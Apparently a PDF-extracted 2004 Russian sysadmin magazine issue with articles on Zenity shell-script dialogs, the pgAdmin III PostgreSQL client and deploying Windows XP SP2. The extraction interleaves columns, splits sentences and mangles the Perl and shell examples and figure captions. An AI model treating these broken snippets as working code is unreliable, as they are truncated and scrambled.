АНДРЕЙ УВАРОВ В данной статье речь пойдёт о том, каким образом можно без особых усилий сделать графический интерфейс к shellскриптам. Если вы хотите сделать взаимодействие ваших программ с пользователем более простым, то эта статья для вас, и не важно, какой язык вы используете, будь то bash, perl, python и т. п. Итак, Zenity является утилитой отображения диалогов. Программа имеется в составе большинства распостранённых дистрибутивов Linux, хотя ее можно скомпилировать или найти уже в бинарном виде практически для любой *nixсистемы. Взаимодействие с X-сервером производится с помощью библиотеки GTK+. Рассмотрим функциональные возможности данной программы. Имеется десять видов диалогов. 1. Calendar – календарь (date-picker). 2. Entry – однострочное текстовое поле ввода. 3. Text-info – диалог отображения многострочной текстовой информации, который может применяться и как поле ввода. Хотя, по всей видимости, это не является его основным назначением. 4. Error – сообщение об ошибке. 5. Info – сообщение общего характера. 6. Warning – предупреждение. 7. Question – вопросительное сообщение с возможностью ввода утвердительного или отрицательного ответа. 8. File-selection – выбор файла. 9. List – список с возможностью выбора и редактирования его элементов. 10. Progress – Progress bar dialog. Отображает статус выполнения текущей операции.
бразить сообщение об ошибке, достаточно выполнить следующее:
Заставить утилиту делать то, что мы пожелаем, можно посредством запуска программы с соответствующими параметрами. Имя любого из параметров состоит более чем из одного символа и, следовательно, имеет префикс «--» – «два минуса». При завершении выполнения будут выведены результирующие данные в stdout или же код будет просто возвращён в stderr. Например, чтобы ото-
! Date-format – строка, определяющая формат возвраща-
# zenity --error
В результате мы увидим сообщение об ошибке:
Все диалоги имеют некоторые свойства, значения которых также определяются параметрами запуска. Общие для всех диалогов свойства, то есть те, которыми обладают все диалоги, такие: title, window-icon, width, height. Очевидно, что title определяет заголовок окна, window-icon – пиктограмму, а width и height – ширину и высоту окна соответственно. Теперь можно поговорить о каждом из диалогов подробнее.
Info, question, warning и error Text – выводимое сообщение. Различаются данные диалоги лишь пиктограммой, находящейся напротив сообщения. Question имеет две кнопки, соответствующие положительному и отрицательному ответу на сообщение.
Calendar
! Text – сообщение, выводимое над полем выбора даты. ! Day, month и year – день, месяц и год, которые будут установлены по умолчанию.
12
емой даты. Формат строки эквивалентен формату вызова функции strftime. Попробуем написать простое приложение, запрашивающее дату рождения пользователя. Файл birthdate.pl:
администрирование #! /usr/local/bin/perl do
print `zenity --info --text "You may not enter real ↵ birth date" --title=birthday`; while(!($birthdate = `zenity --calendar ↵ --date-format=%d.%m.%y`)); `zenity --info --text "Your birth date is $birthdate" ↵ --title "Your Bitrh Date"`;
Progress
! Text – сообщение над progress bar. ! Percentage – начальное состояние, указываемое в процентах.
! Auto-close – автоматическое закрытие диалога после достижения 100%.
! Pulsate – определяет отображение «пульсирующего» прогресса.
Entry
! Text – сообщение, выводимое над полем ввода. ! Entry-text – текст, которым автоматически заполняется поле ввода.
! Hide-text – если присутствует, то вводимые символы отображаются «звёздочками». В качестве примера попробуем написать простое приложение, осуществляющее запуск вводимой команды. Файл command.sh: #! /bin/sh ```zenity --entry --title "Run command" --text "Command:```
List
! Column – заголовок столбца. ! Check-list – использование check box для первого столбца.
! Radio-list – использование radio buttons для первого столбца.
! Separator – разделитель, использующийся при выводе информации. По умолчанию это символ «|».
! Editable – присутствие данного параметра означает, что пользователь может редактировать элементы списка.
Text-info
Кроме того, Zenity имеет ещё несколько менее важных дополнительных опций. ! --gdk-debug=FLAGS – установка флагов отладки Gdk; ! --gdk-no-debug=FLAGS – отмена флагов отладки Gdk; ! --display=DISPLAY; ! --sync – использование синхронных X-вызовов; ! --name=NAME – имя программы, используемое оконным менеджером; ! --class=CLASS – класс программы, используемый оконным менеджером; ! --gxid-host=HOST; ! --gxid-port=PORT; ! --gtk-debug=FLAGS – установка флагов отладки Gtk+; ! --gtk-no-debug=FLAGS – отмена флагов отладки Gtk+; ! --g-fatal-warnings – все предупреждения приводят к завершению выполнения; ! --gtk-module=MODULE – загрузить дополнительный модуль Gtk. Кроме Zenity, есть ещё такие средства, как xdialog, dialog, kdialog, xmessage. Рассмотрим вкратце некоторые из них. Dialog – программа, использующая Ncurses для вывода диалогов. Вследствие этого является достаточно универсальной, так как не все и не всегда пользуются X-Window. Вот список параметров dialog: ! --yesno <text> <height> <width> ! --msgbox <text> <height> <width> ! --prgbox «<command line>» <height> <width> ! --infobox <text> <height> <width> ! --inputbox <text> <height> <width> [<init string>] ! --textbox <file> <height> <width> ! --menu <text> <height> <width> <menu height> <tag1> <item1>... ! --checklist <text> <height> <width> <list height> <tag1> <item1> <status1>... ! --radiolist <text> <height> <width> <list height> <tag1> <item1> <status1>... ! --ftree <file> <FS> <text> <height> <width> <menu height> ! --tree <FS> <text> <height> <width> <menu height> <item1>...
! File-name – имя файла, содержимое которого будет отображено.
! Editable – использование данного параметра аналогично List.
File-selection
! File-name – имя файла, устанавливаемое по умолчанию. ! Multiple – возможность выбора сразу нескольких файлов. ! Separator – использование данного параметра аналогично List.
№9(22), сентябрь 2004
Kdialog поставляется в составе KDE. Имеет сходный интерфейс с dialog и xdialog. Но, на мой взгляд, kdialog более избыточен и менее функционален, нежели Zenity. Xmessage предназначается исключительно для вывода сообщений, но внешний вид, думаю, редкого пользователя может порадовать. Необходимо учесть, что пользователь может и не иметь установленной Zenity. И не стоит забывать о том, что есть средства, такие как xdialog, dialog, kdialog, kmessage, и другие. Может быть, в вашем случае они подойдут больше.
13
администрирование
PostgreSQL: ГРАФИЧЕСКИЙ КЛИЕНТ pgAdmin
СЕРГЕЙ СУПРУНОВ В предыдущей статье, посвященной СУБД PostgreSQL (см. июльский номер журнала), упоминался графический клиент pgAdmin. В этой статье рассмотрим его основные функции и возможности. Для тестирования с сайта www.pgadmin.org был скачан пакет pgAdmin III версии 1.0.2 для Windows 2000/XP (в виде msi-архива). Размер дистрибутива составляет менее 5,5 Мб. Установка пакета на операционную систему Windows XP
14
Professional затруднений не вызвала. После традиционного вопроса о согласии с условиями лицензионного соглашения (пакет распространяется бесплатно) и нескольких секунд инсталляционных процедур программа была готова к работе. При первом запуске было предложено выбрать предпочитаемый язык интерфейса. Среди нескольких десятков поддерживаемых языков отыскался и русский.
администрирование Открывшееся далее главное окно (рис. 1) своими очертаниями вызвало в памяти образ входящего в состав СУБД Oracle клиента PL/SQL Developer. Правда, некоторый аскетизм панели инструментов навевал мысль, что в функциональном плане различия будут более заметны, и никак не в пользу pgAdmin.
Ðèñóíîê 1
СУБД PostgreSQL версии 7.4.1 у меня была запущена на другой машине (под управлением FreeBSD), что и было указано при добавлении сервера (рис. 2). Поясню отсутствие пароля: моя рабочая машина прописана в файле pg_hba.conf (файл настройки доступа PostgreSQL) как доверенный хост, что позволяет соединяться с сервером БД, как мне заблагорассудится. Своя рука – владыка. Естественно, на рабочем сервере такая халатность не приветствуется.
Ðèñóíîê 2
Ðèñóíîê 3
№9(22), сентябрь 2004
15
администрирование
Ðèñóíîê 4
Далее, на вкладке «Колонки» собираем (другое определение к этому процессу подобрать трудно) структуру таблицы, последовательно добавляя поля (рис. 5). Для каждого поля должно быть задано имя и тип данных. Дополнительно можно указать значение по умолчанию и/или отметить поле как «NOT NULL», запретив тем самым оставлять его без определенного значения. На следующей вкладке можно задать ограничения (первичный и вторичный ключи, UNIQUE и CHECK). Вкладка «Безопасность» позволяет раздать другим пользователям права доступа к создаваемой таблице. Последняя закладка – «SQL» – позволяет посмотреть, каким SQL-запросом все это будет создано. Огорчила невозможность исправить ошибку на стадии создания таблицы. Например, если вы неправильно задали тип данных для поля, то исправить это можно, только удалив поле и создав новое. В дальнейшем, если вернуться к свойствам уже созданной таблицы, кнопка «Изменить» присутствует, а вот во время создания новой – нет… А для ограничений нет даже этого – только удалять и создавать заново. Еще один недостаток – об ошибке узнаешь только при попытке сохранить сделанные изменения. Как уже было вскользь замечено, существующие таблицы можно изменять. Да и было бы странно, если бы такая возможность отсутствовала. Интерфейс тот же самый (за исключением упомянутой выше кнопки «Изменить»). На вкладке «SQL» будет формироваться код, который необходимо выполнить для осуществления желаемых изменений. Код формируется, как и следовало ожидать, довольно просто, без «хитринки». Например, если дать указание при создании таблицы задать владельца, то в код будет просто добавлена команда «ALTER TABLE … OWNER …» после того, как таблица будет создана командой «CREATE TABLE …». Хотя по-хорошему это можно сделать одной командой.
Ðèñóíîê 5
Для работы с наполнением таблиц служит инструмент «Просмотр данных» (рис. 6). Выполненный в стиле «старого доброго» MS Access, он позволяет просматривать содержимое таблицы, добавлять новые строки, изменять и удалять существующие. Причем изменение данных возможно только в случае, если таблица создана с установленным флагом «Имеет OID». Как ни странно это выглядит, но в обоих случаях инструмент называется именно «Просмотр данных» (в англоязычном варианте «View Data»), несмотря на возможность редактирования, хотя заголовок окна гласит «pgAdmin III Edit data», и тоже в обоих случаях. Таким образом, этот недочет, допущенный при проектировании интерфейса, спо-
Теперь слева будет дерево баз данных, справа отображается информация по выделенному объекту и ниже – SQLкоманда, с помощью которой выделенный объект мог быть создан (рис. 3). Для общего представления создадим новую таблицу. Для чего давим правую кнопку мыши над веткой «Таблицы», выбираем «Новый объект» – «Новая таблица» и начинаем вводить ее свойства (рис. 4).
Ðèñóíîê 6
16
администрирование собен ввести в заблуждение, и сразу отыскать возможность работы с данными таблиц довольно трудно.
времени, затрачиваемого на каждую операцию – незаменимый инструмент для оптимизации запросов. В пункте меню «Запрос» – «Опции режима объяснения» можно включить и подробный разбор каждого запроса.
Ðèñóíîê 7
Более широкие возможности по работе с запросами предоставляет «Инструмент запросов» (рис. 7). Тут уже есть куда ввести любой SQL-запрос и посмотреть его результат. Закладка «Сообщения» внизу окна позволяет ознакомиться с такой информацией, как количество выбранных запросом записей и время выполнения запроса. Весьма полезная функция – «Объяснить запрос» (рис. 8), выводящая последовательность действий, которые будет выполнять PostgreSQL, обрабатывая данный запрос, с расчетом
Ðèñóíîê 8
Функция обслуживания БД позволяет выполнить дефрагментацию и анализ структуры базы данных либо отдельных таблиц. Регулярная дефрагментация нужна для повышения скорости доступа к данным, а анализ поставляет служебную информацию оптимизатору СУБД, на основании которой последний способен обрабатывать запросы более эффективно.
Ðèñóíîê 9
№9(22), сентябрь 2004
17
администрирование Ну и наконец, в окне «Опции» вы можете произвести некоторые настройки интерфейса, такие как выбор языка и шрифта, по своему вкусу, а также настроить log-файл. Включение опции «Показать» – «Системные объекты» приведет к отображению баз template0 и template1, а также в каждой пользовательской БД, помимо схемы public, хранящей пользовательские данные, будут видны и служебные схемы: information schema, pg_catalog, pg_temp_1, pg_toast (рис. 9). Естественно, что для работы с системными объектами нужно обладать соответствующими правами. Трудно сказать, недостаток это или особенность реализации, но pgAdmin жестко привязывает имя пользователя к конкретному серверу. То есть при необходимости подсоединиться к БД с другими правами приходится создавать несколько «серверов», указывающих на одну СУБД, но с разными пользователями (рис. 10). Хотя в этом есть и определенные преимущества, т.к. можно поддерживать одновременно несколько подключений с различными правами. К слову, посмотреть все подключения к СУБД можно, выбрав «Сервис» – «Состояние сервера». В заключение заметим, что в клиенте доступен файл помощи. Правда, он на английском языке, но тем не менее
Ðèñóíîê 10
18
достаточно подробно, просто и с обилием иллюстраций описывает работу с клиентом, его настройку, а также содержит подробную справку по PostgreSQL 7.4. Показалось несколько неудобным, что развернутое окно помощи всегда находится поверх рабочего окна, закрывая часть данных. Хотя всегда можно открыть справку отдельно (соответствующий пункт присутствует в группе «pgAdmin III» меню «Пуск»), и тогда ничто не будет мешать переключаться между окнами любимой комбинацией «Alt-Tab». Итак, мои общие впечатления – клиент добротный, не считая мелких недостатков; поддерживает практически все функции разработки и администрирования. Широкие возможности по анализу запросов, наглядное представление структуры БД и ее составляющих, интуитивно понятный, не обремененный ничем лишним, да еще и русскоязычный интерфейс делают pgAdmin удобным инструментом для работы с базами PostgreSQL, особенно для начинающих. Помимо версии для Windows, есть пакеты для Linux (Debian, RPM, Slackware packages), для FreeBSD. При желании пакет может быть собран и из исходных текстов. Дополнительную информацию (в том числе и на русском языке) можно получить на сайте проекта.
администрирование
WINDOWS XP SERVICE PACK 2 ГЛАЗАМИ СИСТЕМНОГО АДМИНИСТРАТОРА
МИХАИЛ ПЛАТОВ Наконец-таки случилось – самый популярный продукт прошлого и как минимум нескольких последующих месяцев, имеющий непосредственное отношение к безопасности – Windows XP Service Pack 2 – пакет обновлений, выпуск которого несколько раз переносили и откладывали, был предан достоянию компьютерной общественности. Произошло это событие достаточно тихо (прямых ссылок в первые дни не было). 9 августа на сайте загрузки корпорации Microsoft, в разделе для IT-специалистов появился файл WindowsXP-KB835935-SP2-ENU.exe – английская версия Service Pack2, общим размером чуть меньше 300 Мб. Естественно, многие тут же принялись его скачивать, устанавливать и тут же наткнулись на проблемы… Однако обо всем по порядку.
кет критических обновлений. Он включает в себя массу различных обновлений широкого характера, затрагивающих практически все компоненты операционной системы Windows XP. Дабы не быть голословным, приведу достаточно полный список изменений, вносимых в систему пакетом обновлений SP2.
Исправления для Windows XP В состав SP2 входят все обновления SP1, все критические обновления, вышедшие после SP1, а также исправления, касающиеся работы различных компонент ОС Windows XP. Полный список исправлений (а их более 800) можно найти по адресу: http://support.microsoft.com/default.aspx?kbid=811113.
Брандмауэр Windows Firewall
А что, собственно, нового? В те времена, когда SP2 ждали, многие говорили: «А зачем он мне? Все обновления у меня есть, а эти тупые картинки для начинающих пользователей мне и не нужны». Действительно, у многих знакомых мне людей, в том числе и администраторов, Service Pack 2 прежде всего ассоциируется с «Центром безопасности», брандмауэром «Windows Firewall» и наличием всех критических заплаток для Windows XP. Однако даже поверхностное изучение соответствующей документации от Microsoft показало, что на самом деле все как минимум немного не так. SP2 больше, чем просто па-
20
По мнению MS, это одно из самых значительных нововведений SP2. Фактически он является улучшенной версией Internet Connection Firewall (ICF), доступного в Windows XP. Теперь у него есть собственный графический интерфейс конфигурирования, поддерживается задание глобальных настроек для всех соединений, списков исключений (как для IP-адресов, так и для приложений), различные режимы работы (в домене и за его пределами, со списком исключения и без), а также работа в сетях IPv6. Кроме того, Windows Firewall тесно интегрирован с ОС Windows – запускается на ранней стадии загрузки ОС, до завершения инициализа-
администрирование ции стека TCP/IP и выключается на одной из последних стадий завершения работы системы, что должно обеспечить безопасность не только во время работы компьютера, но и во время его включения и выключения. После установки SP2 Windows Firewall будет включен, практически вся сетевая активность будет запрещена. Так, при попытке обращения к сети какого-либо приложения появится всплывающее окно:
И если какой-либо из компонентов отсутствует или не работает, то центр безопасности выводит в системном трее соответствующее предупреждение:
Ðèñóíîê 3
На данный момент «Центр безопасности» не признает брандмауэры и антивирусы третьих фирм. В скором времени, как только производители выпустят соответствующие обновления, ситуация, скорее всего, изменится, а пока администраторы могут временно отключить соответствующие напоминания, используя апплет «Центр безопасности», находящийся в панели управления Windows.
Обновления безопасности RPC
Ðèñóíîê 1
в котором можно выбрать действие, которое firewall будет использовать для этой программы. Кроме того, помимо «ручной» настройки брандмауэра непосредственно в процессе интерактивной работы за компьютером, администраторам также предоставляются возможности настройки через групповые политики.
Центр обеспечения безопасности Windows Служба, представляющая собой центральное место обеспечения безопасности для пользователя. Microsoft (кстати, и не только она) считает, что многие нашумевшие проблемы безопасности последнего времени могли бы и не возникнуть, если бы большая часть пользователей следовала трем простым правилам: иметь регулярно обновляемый антивирус, брандмауэр, устанавливать критические обновления для ОС. Так вот, «Центр безопасности» как раз и занимается тем, что в фоновом режиме проверяет состояние каждой из этих трех служб.
Служба удаленного вызова процедур (RPC) всегда была неотъемлемой частью ОС семейства Windows NT. RPC неявно используется при удаленном администрировании через mmc (Microsoft Management Console), а также при работе с общими файлами и принтерами. Стандартная установка Windows XP содержит более 60 (!) сервисов RPC. Да чего уж тут говорить, самые известные черви последнего времени (blaster, sasser) проникали на компьютеры, используя именно уязвимости в RPC/DCOM! Так вот в SP2 Microsoft попыталась поставить вирусописателям очередную преграду (эффективную или нет, покажет время). Теперь при работе с программами по RPC пользователь должен пройти обязательную аутентификацию (режим по умолчанию). Кроме того, Microsoft добавила дополнительные возможности для настройки безопасности RPC, используя которые можно определить, какие из сервисов RPC должны быть доступны для локальной сети, какие для внешней, а какие вообще должны быть отключены. помимо этого, некоторые изменения относительно обработки RPC-трафика были также внесены в Windows Firewall.
Обновления безопасности DCOM И эта модель с несколько подмоченной в плане безопасности репутацией подверглась некоторым изменениям. После установки SP2 только аутентифицированные пользователи смогут удаленно вызывать DCOM-объекты. Кроме того, SP2 добавляет новые уровни безопасности доступа к COM-объектам (локальный вызов, удаленный вызов, локальная активация, удаленная активация), с помощью которых можно просто и быстро настроить необходимый доступ как для локальных, так и для удаленных пользователей.
Предотвращение выполнения данных (Data Execution Protection)
Ðèñóíîê 2
№9(22), сентябрь 2004
В ОС добавляется поддержка аппаратно-реализуемой в процессорах технологии NX (No Execute). Данная технология позволяет ставить «запрет на исполнение» для страниц, содержащих данные. Таким образом, если злоумышленник попытается использовать атаку переполнения буфера, дописав к данным свой исполняемый код, ОС и процессор, под-
21
администрирование держивающие данную технологию (на данный момент это AMD K8 и Intel Itanium на ядре Nocona), не позволят этому коду выполниться. Считается, что если бы эта технология поддерживалась компьютерами уже год назад, мир не узнал бы эпидемии MS Blaster и других червей, использующих при своем распространении ошибки переполнения буфера. Специалисты полагают, что поддержка данной технологии способна нанести ощутимый удар по вирусам и червям.
Обновленные модули системы Для улучшения безопасности уже существующих и широко распространенных 32-битных процессоров все файлы операционной системы были перекомпилированы с опцией программной проверки переполнений стека и кучи. Теперь, если во время выполнения программы будет обнаружена попытка переполнения стека или кучи, то будет вызвано программное исключение.
Установщик Windows Installer 3.0 Отличительными особенностями являются: поддержка технологии Delta Patching (минимизирует размер обновлений), расширенные возможности определения того, какие компоненты нужно обновлять, а какие нет, а также возможность удаления установленных обновлений.
Новый клиент автоматического обновления Судя по названию (SUS20ClientDataStore), данный клиент, скорее всего, будет поддерживать работу с анонсированным на первую половину 2005 года WUS (Windows Update Services), ранее известного как SUS 2.0 (Software Update Services). WUS будет поддерживать установку не только критических обновлений ОС Windows, но и других продуктовот Microsoft (Office, SQL Server и др.).
Улучшения безопасности Internet Explorer Браузер от Microsoft тоже обзавелся дополнительной функциональностью. Так, теперь в его состав входят менеджер подключаемых модулей, система отслеживания ошибок и блокиратор всплывающих окон. Как видно из названия, с помощью первого компонента можно просмотреть список всех расширений для IE (даже те, которые он раньше не показывал), а также определить, какие из них будут запускаться. Главным назначением второго компонента является отслеживание ошибок при запуске IE и автоматическое отключение расширений, вызвавших эти ошибки. Кроме того, в новом обозревателе несколько переработан механизм обработки зон безопасности и процедуры установки и запуска ActiveX компонентов.
Поддержка соединений типа точка-точка (Windows Peer-to-Peer) Децентрализованные сети позволяют более полно использовать возможности (вычислительные, хранение данных и т. д.) современных компьютеров за счет предоставления доступа к ним для других участников сети. Так, на базе децентрализованных P2P-сетей можно организовывать обмен аудио- и видеофайлами, передачу сообщений, групповые игры и т. д. Динамически формируемые P2P-сети также являются перспективным решением в совокупности с беспроводными сетями 802.11. После установки Service Pack 2 Windows XP будет поддерживать работу в режиме точкаточка с использованием компонента Windows Peer-to-Peer Networking. Правда, этот компонент отключен в стандартной конфигурации, и для того, чтобы его установить, придется воспользоваться мастером «Установки компонентов Windows» (компонент Peer-to-Peer).
Улучшения в работе с беспроводными устройствами Добавлена поддержка Bluetooth-устройств. Поддерживаются IP-соединения, работа с Bluetooth-принтерами и HID-устройствами, использование Bluetooth сотовых телефонов в качестве модемов, обмен файлами с Bluetooth-устройствами и виртуальные COM-порты. Значительным модификациям подверглась поддержка беспроводных сетей. Помимо нового мастера настройки, а также повышения уровня безопасности домашних сетей 802.11, Service Pack 2 для Windows XP включает в себя клиентскую часть нового серверного сетевого компонента – Wireless Provisioning Service (службы организации беспроводного доступа). WPS от Microsoft – решение проблемы организации беспроводного доступа в публичных местах. С помощью этой технологии провайдеры беспроводного доступа (кафе, аэропорты), интернет-провайдеры и крупные корпорации смогут легко и просто предоставить беспроводной доступ в Интернет (или к внутренней корпоративной сети) своим клиентам или сотрудникам. WPS поддерживает аутентификацию (PEAP,WPA), сервер RADUIS от Microsoft (IAS) и другие технологии Windows, что, собственно, и делает удобным использование этого компонента в сетях, построенных с использованием технологий Microsoft. Серверная часть WPS будет доступна в Windows 2003 Service Pack 1.
Изменения DireсtX и Windows Media Здесь все достаточно просто и банально. В состав Windows XP SP2 входят проигрыватель Windows Media Player 9 и DirectX 9.0c
Улучшения Outlook Express и Windows Messenger Самым значительным изменением в этой области является реализованная в SP2 технология Attachment Execution Service (AES) – технология управления вложениями. Теперь, при обработке письма с вложениями, на основе расширения файла, его фактического содержимого, а также настроек зон безопасности, AES будет принимать решение о том, блокировать доступ к вложению или нет. Тем самым ставится дополнительная преграда для вирусов, пытающихся проникнуть в компьютер посредством электронной почты.
22
Поддержка новых языковых настроек После установки SP2 в системе появляется поддержка более 20 новых региональных настроек. Теперь и без того внушительный список пополнился настройками для Хорватии, Сербии, Уэльса, Швеции, Финляндии, Норвегии и нескольких стран Южной Африки и Латинской Америки. Как видите, список нововведений достаточно внушителен. Пакет обновлений затрагивает значительную часть системных компонент ОС, поэтому неудивительно, что воз-
администрирование можны случаи, в которых после установки SP2 некоторые приложения перестанут работать, однако совершенно очевидно, что рано или поздно всем нам придется обновиться до уровня SP2, так что постараемся уменьшить негативные влияния этого процесса. Для этого попробуем просто последовать рекомендациям самой Microsoft. Итак.
Варианты установки Service Pack 2 Для установки Service Pack 2 домашними пользователями Microsoft рекомендует использовать узел Windows Update. Сначала с сайта обновлений скачивается экспресс-установщик, который затем загружает и устанавливает только те файлы, которые нужно обновить на данном компьютере. Несколько иначе обстоит ситуация с пользователями корпоративными. Для них у софтверного гиганта есть масса рекомендаций и инструкций относительно того, как нужно устанавливать Service Pack 2. Согласно этим рекомендациям процесс установки должен быть тщательно спланирован и документирован (график и список работ, распределение обязанностей, тесты, отчеты и т. д.). Так, на одном из этапов предлагается создать тестовую лабораторию и проверить в ней работоспособность системы с установленным SP2. Не будем более подробно останавливаться на всех тонкостях, предлагаемых MS (благо для этого уже есть мегабайты соответствующей документации) и перейдем к практической части – установке SP2. Для корпоративных пользователей предусмотрено 3 варианта установки1: ! Software Update Services (SUS) – свободно распространяемая платформа от Microsoft для установки критических обновлений. ! Systems Management Server (SMS) – коммерческая система от Microsoft для полного контроля над Windowsмашинами, в том числе и установки обновлений и программ. ! Group Policy (GP) – стандартный компонент доменов Active Directory, также позволяющий установку ПО.
Установка через групповые политики Для установки пакета обновлений используются возможности установки ПО в доменах Active Directory (технология IntelliMirror). Для того чтобы воспользоваться этим методом, не нужно ничего, кроме Active Directory, поэтому большинство организаций, особенно тех организаций, у которых нет существующей инфраструктуры SUS или SMS, скорее всего, будут использовать именно его. Как известно, при установке ПО с использованием групповых политик, применяются файл-серверы. Именно на них размещаются устанавливаемые программы. Поэтому при установке SP2 необходимо убедиться в том, что на всех используемых файл-серверах есть необходимое дисковое пространство для хранения распакованного SP2. Кроме того, так как в процессе установки файлы загружаются на клиентский компьютер, необходимо, чтобы все клиенты имели надежное и быстрое сетевое соединение со своими файл-серверами. Так, в случае крупной организации при установке Service Pack 2 может использоваться следующая схема:
Прежде чем мы рассмотрим более подробно первый и третий способы (как наиболее часто используемые), несколько слов о системных требованиях для компьютеров с Service Pack 2. А они таковы: ! 128 Мб ОЗУ или больше (для XP без SP было 64Мб); ! 500 Мб для пакета обновления; ! 260 Мб для создания временных файлов; ! 350 Мб для хранения файлов отката SP2; ! 30 Мб на загрузочном разделе (Ntldr, Boot.ini и Ntdetect.com). Ðèñóíîê 4
Таким образом, Microsoft не отрицает, что система становится более требовательной к объему установленного ОЗУ, и не только к нему, так что неудивительно, если после установки пакета обновлений компьютер будет работать более медленно2. 1
2
Как известно, при помощи групповых политик можно устанавливать только программы, распространяемые в виде .msi-файлов. Для Service Pack2 тaкой файл называется update.msi (расположен в папке %SP_DIR%/i386/update/ распакованного Service Pack2). Для того чтобы распаковать
Во всех трех способах предполагается, что администратор сначала загружает пакет обновления с сайта Microsoft, а затем устанавливает его на все необходимые компьютеры, используя наиболее приемлемый для него метод. После установки SP2 можно освободить 350 Мб свободного места, удалив файлы отката SP2 (находится в %WINDIR%\ $NtServicePackUninstall$). Однако после этого удалить SP2 будет невозможно. Во время установки настоятельно рекомендуется отключить антивирусные программы.
№9(22), сентябрь 2004
23
администрирование Service Pack 2 в папку c:\sp2, нужно запустить его со следующими параметрами: {ïóòü ê SP2}\ WindowsXP-KB835935-SP2-ENU.exe /u /x:c:\sp2
При данном способе установки мы распаковываем Service Pack. Это дает нам возможность дополнительно настроить его (например, определить исключения для firewall) перед тем как он будет установлен на компьютеры пользователей. Установка SP2 ничем не отличается от установки обычных программ через групповые политики. Единственное, необходимо иметь в виду, что установка должна быть определена в части политики, отвечающей за параметры компьютера (computer-assigned). Кроме того, настоятельно рекомендуется использовать фильтрацию. Так, используя фильтрацию WMI, можно, написав соответствующий запрос на языке WQL (WMI Query Language), определить компьютеры (ОС, количество памяти, свободное дисковое пространство и т. д.), к которым будет применяться данная политика. Данный вариант может быть несколько сложен, т.к. далеко не все системные администраторы знают WQL и могут с легкостью писать на нем запросы. Поэтому есть второй вариант – использование групп безопасности. Суть данного варианта сводится к тому, что администратор сам определяет, для каких машин домена должна произвестись установка SP2. Администратор создает группу безопасности и включает в нее учетные записи соответствующих машин. Далее, во вкладке security групповой политики он удаляет записи о группе Authentificated Users и добавляет свою группу машин с правами на чтение и применение данной политики:
Установка с использованием SUS Данный способ рекомендуется использовать в том случае, если в целевой организации уже имеется инфраструктура SUS. В зависимости от количества компьютеров, на которые нужно установить Service Pack 2, предлагаются следующие рекомендации: ! Если на один SUS-сервер приходится до 2000 компьютеров с ОС Windows XP, то никаких дополнительных действий предпринимать не нужно. ! Если на один SUS-сервер приходится более 2000 компьютеров, то рекомендуется либо разрешать установку только в течение определенного интервала времени (чтобы не вызвать перегрузки сервера), либо использовать ограничения IIS или BITS для определения максимального числа клиентов и выделяемой для них пропускной способности сети. Установка Service Pack 2 с использованием SUS производится точно так же, как и установка критических обновлений: ! Обновления загружаются с корневого узла Windows Update (или SUS). ! Для каждого обновления администратор разрешает его установку для подключающихся к SUS-серверу клиентов. ! Используя групповые политики, администратор для различных организационных единиц определяет SUS-серверы, с которых компьютеры будут устанавливать обновления. ! В течение 24-48 часов Service Pack 2 устанавливается на все клиентские компьютеры. Так как при использовании SUS-сервера пакет доставляется на компьютеры в запакованном виде, нельзя предварительно настроить компоненты Service Pack.
Запрет установки Service Pack 2
Ðèñóíîê 5
После перезагрузки компьютеров, входящих в данную группу безопасности, на них будет установлен Service Pack 23. 3
24
18 августа Service Pack 2 для Windows XP появился на сайте WindowsUpdate. Таким образом, он стал доступен для клиентов автоматического обновления, которые незамедлительно начали его устанавливать. Для тех корпоративных пользователей, которые пока не хотели устанавливать SP2 (до завершения окончательного корпоративного тестирования), но хотели по-прежнему пользоваться WindowsUpdate для установки критических обновлений Microsoft опубликовала документ, описывающий, как можно временно (до 8 месяцев) запретить установку Service Pack 2 на компьютеры, подключенные к WindowsUpdate. Предлагаются следующие способы запрета установки Service Pack 2: ! Применяя специальный шаблон групповой политики. На сайте Microsoft имеется соответствующий adm-файл (NoXPSP2Update.adm), используя который, администратор может запретить установку Service Pack 2 на компьютерах, входящих в домен Active Directory.
В принципе Microsoft допускает публикацию SP2 для пользователей. В этом случае пакет становится доступным в диалоге Установка и удаление программ → Установка программ. Однако такой способ не является рекомендуемым, и для его реализации администратору придется самому создать соответствующий zap-файл.
администрирование ! Используя исполняемый файл или скрипт Visual Basic. Этот способ подходит для организаций, в которых нет инфраструктуры Active Directory. Запрет или разрешение установки SP2 определяется параметрами, с которыми запускается исполняемый файл. ! C помощью электронной почты. Администратор посылает письмо, содержащее URL, пользователи (с правами локального администратора), открыв это письмо и перейдя по ссылке, блокируют установку SP2. Для того чтобы опять разрешить установку (после того как все возможные проблемы будут решены), достаточно послать новое письмо с другим URL, отменяющим запрет установки.
зывается включен. Однако ситуация более чем исправима – работу Windows Firewall можно легко и быстро настроить, используя методы, предлагаемые производителем. В отличие от своего предшественника (ICF) у Windows Firewall есть не один, а несколько интерфейсов для настройки. Самый простой в использовании и доступный для большинства пользователей – графический интерфейс, вызываемый через Панель управления → Брандмауэр Windows:
Необходимо отметить, что запрет установки является временной мерой и через 8 месяцев (начиная с 16 августа) этот запрет автоматически перестанет действовать. Файлы, необходимые для запрета установки SP2, можно загрузить отсюда: ! http://www.microsoft.com/technet/grouppolicy ! http://go.microsoft.com/fwlink/?LinkId=33517 ! http://www.microsoft.com/technet/scriptcenter/solutions/ blockxpsp2.mspx ! http://www.microsoft.com/technet/scriptcenter/solutions/ blockxpsp2-multi.mspx
Windows Firewall Windows Firewall является одним из основных, и как показывает практика, одним из самых проблемных нововведений SP2. Многие неудобства, возникающие при работе программ на Windows XP SP2, вызваны именно тем, что передаваемые ими данные блокируются новым брандмауэром Windows, который после установки SP2 по умолчанию ока-
Ðèñóíîê 6
Ðèñóíîê 7
№9(22), сентябрь 2004
25
администрирование Здесь вы можете определить настройки брандмауэра непосредственно на данном компьютере. Кроме того, настройки можно изменять и во время работы. При попытке приложения обратиться к сетевому ресурсу, Windows Firewall покажет соответствующий диалог, в котором вы можете либо разрешить, либо запретить обращение для данного приложения. Однако для крупных корпоративных клиентов, имеющих сотни и тысячи компьютеров, способ интерактивной настройки брандмауэра абсолютно неприемлем. Наиболее эффективным способом управления настройками Windows Firewall на большом количестве компьютеров является использование групповых политик. Настройки Windows Firewall имеются в новых шаблонах и доступны в следующем месте: Конфигурация компьютера → Административные шаблоны → Network → Network Connections → Windows Firewall. Открыв этот раздел, мы увидим два профиля настроек – Domain Profile и Standard Profile. Эти профили особенно интересны для компаний, в которых сотрудники пользуются ноутбуками (см. рис. 7). Так, когда переносной компьютер работает внутри корпоративной сети, для его настройки используются параметры, определяемые в Domain Profile. Как только компьютер теряет связь с Active Directory (работник 